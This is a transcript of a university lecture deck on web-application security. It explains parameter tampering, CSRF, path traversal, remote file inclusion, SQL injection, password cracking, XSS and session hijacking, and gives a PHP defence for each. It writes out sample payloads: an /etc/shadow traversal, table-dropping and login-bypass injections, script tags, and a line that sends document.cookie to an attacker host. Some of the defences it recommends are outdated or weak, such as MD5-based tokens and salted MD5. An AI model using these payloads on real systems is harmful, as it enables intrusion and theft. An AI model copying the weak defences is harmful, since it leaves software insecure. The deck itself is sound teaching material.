1 / 39

Advanced Security

XSS, CSRF, RFI, and other acronyms. Advanced Security. Obligatory Disclaimer. Methodology The attack vector (how it works) ‏ The relevant controls (how to stop it) ‏ Educational Purposes Only We can't and won't be held responsible for what you do with this information

zahina
Download Presentation

Advanced Security

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript

  1. XSS, CSRF, RFI, and other acronyms Advanced Security

  2. Obligatory Disclaimer • Methodology • The attack vector (how it works)‏ • The relevant controls (how to stop it)‏ • Educational Purposes Only • We can't and won't be held responsible for what you do with this information • We do not condone the practice of this material on any server environment you do not own yourself

  3. Terminology • Hacker: “A person who enjoys exploring the details of programmable systems and how to stretch their capabilities, as opposed to most users, who prefer to learn only the minimum necessary.” (The Jargon File, catb.org)‏ • “...Hackers make the World Wide Web work. If you are part of this culture, if you have contributed to it and other people in it know who you are and call you a hacker, you're a hacker.”(ESR's “How to Become a Hacker”)‏

  4. Terminology • Cracker: Coined by hackers to discourage misuse of “hacker” by the media. • Malicious (“black-hat”) users fall under this label • This lecture will not teach you how to hack • It will, however, teach you a few important skills • Those interested should Google “How to Become a Hacker” to see what I mean

  5. What Does and Doesn't Work • Security Through Obscurity • “If the attacker can't see it or understand it, they can't get to it!” • Wrong! • Given enough time and resources, anything is possible to retrieve

  6. What Does and Doesn't Work • Writing Flawlessly Secure Code • “If my code is free of bugs, they can't get in!” • Better, but still wrong. • New vulnerabilities are found all the time. • Again, it comes down to a matter of time and resources... and how many mistakes you “knew” you didn't make.

  7. What Does and Doesn't Work • The goal is to make it not worth the attacker's time and effort to even try. • Better still, by logging the actions of your visitors, you may be able to slow an attacker long enough to catch them in the act if they make a mistake! • Either way, when most attackers hit a brick wall, they turn tail and look for a softer target • Sadly, Google is very effective for this...

  8. Authentication/Authorization • Bypassing Authentication • The user isn't who they say they are • Fooling Authorization • The user gains access to resources they shouldn't • We're going over ways to do both... • Some of this will be review for those who took Intro to IT last semester

  9. Parameter Tampering • Change parameters in a request • Examine how the request is constructed • Change the query string accordingly • Example: Bank Account Transfers • transfer.php?to_id=81&from_id=12&amt=10 • transfer.php?to_id=12&from_id=1&amt=5000

  10. Parameter Tampering • This should look familiar so far... • We went over how to prevent this in lab • Using $_SESSION variables, we can make sure the user really has permission to do this • ...but we can do this using POST, too! • Create a form locally, set action to the target site • Use Web Developer to edit the form in place • ab

  11. Parameter Tampering • Solution: Call session_start() on login... • $_SESSION['user_id'] = 12 • $_SESSION['username'] = foo • On each page the user needs to be logged in... • Make sure these $_SESSION vars are set • Make sure they match the user in question • If not, refuse the request

  12. Parameter Tampering • Example: Bank Transfer, Revisited • Attacker's $_SESSION['user_id'] = 12 • transfer.php?to_id=12&from_id=1&amt=5000 • from_id does not match $_SESSION['user_id'] • Attacker is logged out • Call session_destroy() to clear session data whenever a user logs out! • Works the same for GET and POST requests

  13. Cross-Site Request Forgery (CSRF)‏ • Pronounced “Sea-Surf” • Often requires Parameter Tampering • Rather than stealing the user's Session ID, we trick them into submitting requests on our behalf • Consider the bank transfer example again...

  14. Cross-Site Request Forgery (CSRF)‏ • Example: Bank Transfer, Revisited (Again)‏ • Attacker's user_id = 12 • Victim's user_id = 42 • Attacker tricks the user into following this link: • transfer.php?to_id=12&from_id=42&amt=5000 • Victim's user_id matches the from_id, so it works... • The software has no way of telling that the user didn't mean to transfer the money!

  15. Cross-Site Request Forgery (CSRF)‏ • Solution: Generate a random “token” (string) at each page, and expect the user to reply with the same token • We use our session to remember which token we're expecting next, before sending it out • Because this is pseudo-random, the attacker will have to guess what the token is when providing a link for the victim to click

  16. Cross-Site Request Forgery (CSRF)‏ • transfer.php • If $_GET['t'] != $_SESSION['token'], forged request • $_SESSION['token'] = md5(rand(1,100000000)); • Add “&t=<?php echo $_SESSION['token']?>” to the end of all links • This way, the user will always know which token to send next, but the attacker will have to guess!

  17. Path Traversal • Print the contents of a file to the browser: • Located at /var/www/scripts/showfile.php • example.com/scripts/showfile.php?file=foo.txt • Encrypted password file: • /etc/shadow • Print the contents of the password file... • showfile.php?file=../../../etc/shadow • This assumes that Apache has permission to read shadow in the first place.

  18. Path Traversal • This can be prevented by setting the correct permissions for your files • /etc/shadow can only be read by root, not Apache • Server configuration settings also allow you to prevent files from being accessed over the Web • .htaccess: in the directory to be protected • httpd.conf: Apache configuration settings • Could use str_replace to remove “/” and “\”

  19. Remote File Inclusion • Consider include.php?file=foo • include($_GET['file'] . ”.php”); • Includes foo.php inside the document • include.php?file=http://badguy.com/42.php? • include(“http://badguy.com/42.php?.php”); • We need the “?” so the filename doesn't become “42.php.php” • Solution: Don't pass anything directly into include(), exec(), system(), etc, ever!

  20. SQL Injection • Consider the following in insecure.php: • $id = $_GET['id']; • $q = “SELECT * FROM table WHERE id='$id' “; • $result = mysql_query($q); • $id isn't escaped, so we can set $id to a value that starts a new query • End the old query early, and start a new query • Comment out the rest of the old query

  21. SQL Injection • Example: Dropping a table • insecure.php?id='; DROP TABLE users; -- • “SELECT * FROM table WHERE id=''; DROP TABLE users; --'; • ''; Ends the original query. We can start a new one. • DROP TABLE users; Execute a new query. • --'; Comment out the leftover from the original.

  22. SQL Injection • Example: Bypassing a login • In the password field: ' OR 1=1; -- • “SELECT * FROM users WHERE uname='$user' AND pass='$pass'; • “SELECT * FROM users WHERE uname='$user' AND pass='' OR 1=1; --'; • While the (uname AND pass) conditions will fail, 1=1 will always succeed!

  23. SQL Injection • We've already discussed a solution: escape all of the special characters in strings before using them • Use mysql_real_escape_string($str) for this

  24. Cryptanalysis • Deciphering encrypted information without the knowledge of any info normally required • Usually a file or raw data stream that was caught • Encryption implies that information can be decrypted, using some form of “secret” • Cryptanalysis is beyond the scope of this course

  25. Password Cracking • Hashing: Not Encryption! • One-way transformation • Cannot determine the plaintext from the hash value • Often used in storing passwords • Hash functions are explained further in DSA • Example: MD5 (Message-Digest algorithm 5)‏

  26. Password Cracking • Attacker uses SQL Injection to retrieve a list of usernames and MD5 password hashes. • If transformation is one-way, how do they retrieve the passwords? • MD5 is secure, right...? • Wrong. • ...but as long as we're aware of that fact, we can use it more effectively

  27. Password Cracking • We can try combinations to find the plaintext that corresponds to the password hash • Brute Force: Try all possible combinations • Dictionary: Try a list of common passwords • MD5 is very fast, meaning that our attacker can try combinations very rapidly • This isn't good. • Using slower algorithms is recommended.

  28. Password Cracking • Rainbow Tables • Large tables of pre-computed hash values, and the plaintext that generated them • If the hash is in the table, we can find the plaintext very quickly! • There is a time-memory tradeoff here... • Much faster, but speed is limited by how many hashes can be stored in memory at a time

  29. Password Cracking • Defense against these attacks: Salt • No, not that kind of salt. • Salting is the use of a random string appended or prepended to the plaintext before it is hashed • This same salt is used when hashing the password again on subsequent login attempts • Longer random string makes it less likely that the combined value has been computed before

  30. Password Cracking • Generate a long, random string of characters • Whether this is stored in the database or in your PHP script is a design decision • Make sure we can use it again! • Add this string either before or after • md5($password) // Bad • md5($password . $salt) // Better

  31. Cross-Site Scripting (XSS)‏ • Arbitrary JavaScript Code Injection • Type 1 (Non-persistent/Reflected)‏ • Injected script is executed immediately • Type 2 (Persistent/Stored)‏ • Injected script is stored on the server • Type 0 (DOM-based/Local)‏ • Injected script is executed immediately by otherclient-side scripts (using document.location, etc.)‏

  32. Cross-Site Scripting (XSS)‏ • Type 1 (Non-persistent): xss.php?q=foo • echo $_GET['q']; • xss.php?q=<script>alert('xss');</script> • This prints the XHTML and JavaScript directly to the page • Once printed, the script will run • There are plenty of vicious things you can do, as we'll see shortly...

  33. Cross-Site Scripting (XSS)‏ • Type 2 (Persistent): post.php?m=foo • INSERTs $_GET['m'] to the database • post.php?q=<script>alert('xss');</script> • This stores the XHTML and JavaScript for output later • Imagine putting this in the Comments section of a popular blog (“in order to understand recursion...”): • post.php?m=<script>document.href = “post.php?m=<blink>LOL</blink>”;</script>

  34. Cross-Site Scripting (XSS)‏ • Type 0 (Local): client.html?c=foo • The JavaScript examines the URL using document.location, and writes “foo” to the screen • client.php?q=<script>alert('xss');</script> • Very similar to Type 1 XSS, with one key difference: No server-side scripting is used! • Type 0 is exploited very similarly to Type 1, only it relies on bad client-side code instead of bad server-side code

  35. Cross-Site Scripting (XSS)‏ • Solution: Encode anything taken as input • PHP: $foo = htmlentities($_GET['foo']); • “<” becomes “&gt;”, etc., but still appears the same • Similar to escaping with “\”, special characters no longer have any special meaning • Functions exist online for doing this in JavaScript

  36. Session Hijacking • Users have a Session ID stored in a cookie client-side, used to identify which session they belong to • Psuedo-random, very long, and difficult to forge • Steal the user's session data, so we can copy it and masquerade as that user • Only works while that session is still open

  37. Session Hijacking • New script on the attacker's site: hj.php?c=foo • Script INSERT $_GET['c'] into a database • Use XSS on the target site to steal the user's cookie information (and Session ID)‏ • document.href = “http://badsite.com/hj.php?c=” +document.cookie; • Sends the cookie for this site to the attacker, where it is logged • The attacker now has the user's valid Session ID

  38. Session Hijacking • Solution: Prevent XSS Vulns • ...but what happens if someone still finds the ID? • Better Solution: Encode the Session ID each time it is sent to the user • This encoding is validated by the server, to prevent forged Session IDs • This typically involves managing sessions manually (or using a framework), and is beyond the scope of this course

  39. From Now On... • We will expect you to write secure code • We won't actively try to break your sites... • ...unless David gets bored... • ...but anything on these slides is fair game • When in doubt about best practices, ask one of us • OWASP is a great resource for learning more • owasp.org

More Related